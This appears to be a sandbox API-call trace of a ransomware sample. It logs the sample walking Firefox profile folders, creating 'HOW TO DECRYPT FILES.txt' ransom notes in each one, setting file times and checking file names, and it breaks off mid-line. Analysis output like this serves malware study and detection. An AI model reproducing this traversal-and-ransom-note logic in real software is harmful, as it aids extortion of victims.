lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", lpString2="OfflineCache" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache" [0086.277] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xbece2650, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbecfd400, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xbecfd400, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x610043, cFileName=".", cAlternateFileName="")) returned 0x502718 [0086.278] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.278] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xbece2650, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbecfd400, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xbecfd400, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x610000, cFileName="..", cAlternateFileName="")) returned 1 [0086.278] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.278] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.278] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbece4d60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbece4d60, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xc399b820, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="index.sqlite", cAlternateFileName="INDEX~1.SQL")) returned 1 [0086.278] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0086.278] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="index.sqlite") returned -1 [0086.278] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="index.sqlite") returned -1 [0086.278] lstrcmpiA (lpString1="", lpString2="index.sqlite") returned -1 [0086.278] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\*.*") returned="*.*" [0086.278] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\" [0086.278] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\") returned="" [0086.278] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\HOW TO DECRYPT FILES.txt" [0086.278] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\offlinecache\\how to decrypt files.txt")) returned 0xffffffff [0086.278] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\offlinecache\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa0 [0086.280] SetFileTime (hFile=0xa0, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0086.280] CloseHandle (hObject=0xa0) returned 1 [0086.280] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\", lpString2="index.sqlite" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\index.sqlite") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\index.sqlite" [0086.280] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\index.sqlite", pszSpec="*.ems") returned 0 [0086.281] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbece4d60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbece4d60, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xc399b820, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="index.sqlite", cAlternateFileName="INDEX~1.SQL")) returned 0 [0086.281] FindClose (in: hFindFile=0x502718 | out: hFindFile=0x502718) returned 1 [0086.281] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8234ff30, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826bbed0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="safebrowsing", cAlternateFileName="SAFEBR~2")) returned 1 [0086.281] lstrcmpA (lpString1=".", lpString2="safebrowsing") returned -1 [0086.281] lstrcmpA (lpString1="..", lpString2="safebrowsing") returned -1 [0086.281] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\*.*") returned="*.*" [0086.281] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", lpString2="safebrowsing" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing" [0086.281] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8234ff30, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826bbed0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502718 [0086.285] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.285] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8234ff30, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826bbed0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.285] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.285] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.285] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x825fd7f0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x825fd7f0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x825fd7f0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2c, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="test-malware-simple.cache", cAlternateFileName="TEST-M~1.CAC")) returned 1 [0086.285] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0086.285] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="test-malware-simple.cache") returned -1 [0086.285] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="test-malware-simple.cache") returned -1 [0086.285] lstrcmpiA (lpString1="", lpString2="test-malware-simple.cache") returned -1 [0086.286] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\*.*") returned="*.*" [0086.286] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\" [0086.286] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\") returned="" [0086.286] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\HOW TO DECRYPT FILES.txt" [0086.286] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\how to decrypt files.txt")) returned 0xffffffff [0086.286] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa0 [0086.288] SetFileTime (hFile=0xa0, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0086.288] CloseHandle (hObject=0xa0) returned 1 [0086.289] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\", lpString2="test-malware-simple.cache" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.cache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.cache" [0086.289] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.cache", pszSpec="*.ems") returned 0 [0086.289] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8234ff30, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x8234ff30, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x82649ab0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-malware-simple.pset", cAlternateFileName="TEST-M~1.PSE")) returned 1 [0086.289] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0086.289] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="test-malware-simple.pset") returned -1 [0086.289] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="test-malware-simple.pset") returned -1 [0086.289] lstrcmpiA (lpString1="", lpString2="test-malware-simple.pset") returned -1 [0086.289] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.cache") returned="test-malware-simple.cache" [0086.289] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\" [0086.289] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\") returned="" [0086.289] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\HOW TO DECRYPT FILES.txt" [0086.289] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\how to decrypt files.txt")) returned 0x2020 [0086.290] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\", lpString2="test-malware-simple.pset" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.pset") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.pset" [0086.290] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.pset", pszSpec="*.ems") returned 0 [0086.290] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82376090, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x82376090, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x82376090, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x5c0074, dwReserved1=0x610073, cFileName="test-malware-simple.sbstore", cAlternateFileName="TEST-M~1.SBS")) returned 1 [0086.290] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0086.290] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="test-malware-simple.sbstore") returned -1 [0086.290] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="test-malware-simple.sbstore") returned -1 [0086.290] lstrcmpiA (lpString1="", lpString2="test-malware-simple.sbstore") returned -1 [0086.290] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.pset") returned="test-malware-simple.pset" [0086.290] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\" [0086.290] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\") returned="" [0086.290] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\HOW TO DECRYPT FILES.txt" [0086.290] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\how to decrypt files.txt")) returned 0x2020 [0086.290] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\", lpString2="test-malware-simple.sbstore" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.sbstore") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.sbstore" [0086.291] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.sbstore", pszSpec="*.ems") returned 0 [0086.291] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82695d70, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x82695d70, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x82695d70, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2c, dwReserved0=0x5c0074, dwReserved1=0x610073, cFileName="test-phish-simple.cache", cAlternateFileName="TEST-P~1.CAC")) returned 1 [0086.291] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0086.291] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="test-phish-simple.cache") returned -1 [0086.291] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="test-phish-simple.cache") returned -1 [0086.291] lstrcmpiA (lpString1="", lpString2="test-phish-simple.cache") returned -1 [0086.291] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.sbstore") returned="test-malware-simple.sbstore" [0086.291] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\" [0086.291] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\") returned="" [0086.291] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\HOW TO DECRYPT FILES.txt" [0086.291] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\how to decrypt files.txt")) returned 0x2020 [0086.292] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\", lpString2="test-phish-simple.cache" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.cache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.cache" [0086.292] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.cache", pszSpec="*.ems") returned 0 [0086.292] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82376090, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x82376090, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826bbed0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x5c0074, dwReserved1=0x610073, cFileName="test-phish-simple.pset", cAlternateFileName="TEST-P~1.PSE")) returned 1 [0086.292] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0086.292] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="test-phish-simple.pset") returned -1 [0086.292] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="test-phish-simple.pset") returned -1 [0086.292] lstrcmpiA (lpString1="", lpString2="test-phish-simple.pset") returned -1 [0086.292] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.cache") returned="test-phish-simple.cache" [0086.292] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS 